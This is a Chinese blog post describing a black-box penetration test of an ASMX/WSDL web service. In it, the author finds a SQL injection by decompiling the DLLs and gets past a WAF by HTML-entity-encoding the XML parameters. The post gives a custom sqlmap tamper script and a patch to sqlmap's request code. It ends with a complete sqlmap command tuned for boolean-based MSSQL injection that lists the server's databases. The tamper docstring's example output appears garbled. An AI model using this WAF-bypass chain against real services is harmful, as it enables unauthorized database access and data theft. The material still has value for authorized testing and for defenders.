WSDL注入绕过及SQLMAP自动化实现
Lastmod: 2023-06-17

二编,展示SQL注入测试必要的技术链条细节。

本文的故事版姐妹篇参见文末参考阅读。

WSDL

黑盒渗透,曾碰见了asmx后缀的页面,风格复古,页面详尽列出接口功能,支持XML格式提交,往往不需要身份验证,往往也缺乏注入防护。

这里获得一份源码,开始对WSDL接口进行审计。dll文件使用dnSpy-net做逆向。

周折地调试着if-else-switch-case找到一个注入。

接着Burp偶然发现,XML参数内容做HTML实体编码,服务器端是支持识别的!天然的绕WAF!

SQLMAP

于是乎写了一个htmlencodeall.tamper,实现字符串全部实体编码。

import re
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW
def dependencies():
    pass
def tamper(payload, **kwargs):
    """
    HTML encode all characters except & (e.g. ' -> ')
    >>> tamper("1' AND SLEEP(5)#")
    '1' AND SLEEP(5)#'
    """
    return re.sub(r"[^\&]", lambda match: "&#%d;" % ord(match.group(0)), payload) if payload else payload

# print(tamper("1' AND SLEEP(5)#"))

同时,因为SQLmap本来会对&做一遍实体编码,而实体编码&#开头,需要做一些修改魔改,以1.5版本为例,sqlmap-1.5/lib/request/connect.py:1001行。删除掉.replace('&', "&"),就可以了。

再仔细看了SQLmap手册,掌握了几个非常适合定制的参数。特别是布尔型注入。

参数添加前缀:--prefix
参数添加后缀:--suffix
当布尔为假而匹配响应包字符串:--not-string
注入类型指定布尔型:--technique=B
burpsuite调试用:--proxy=http://127.0.0.1:8080
还有-v3、--level=3

在数据包的参数位置添加*号,完整的测试命令如下

python2 sqlmap-1.5/sqlmap.py -r req1.txt --random-agent --prefix="ap'or 8999-9=8990" --suffix="--isk0-" --not-string=\<GetResult\>-1 --technique=B --dbms=mssql --tamper htmlencodeall --threads=3 --dbs --batch

参考阅读

浅析接口安全之WebService

dnSpy-net

https://github.com/sqlmapproject/sqlmap/wiki/Usage

一枚注入通用型CNVD回顾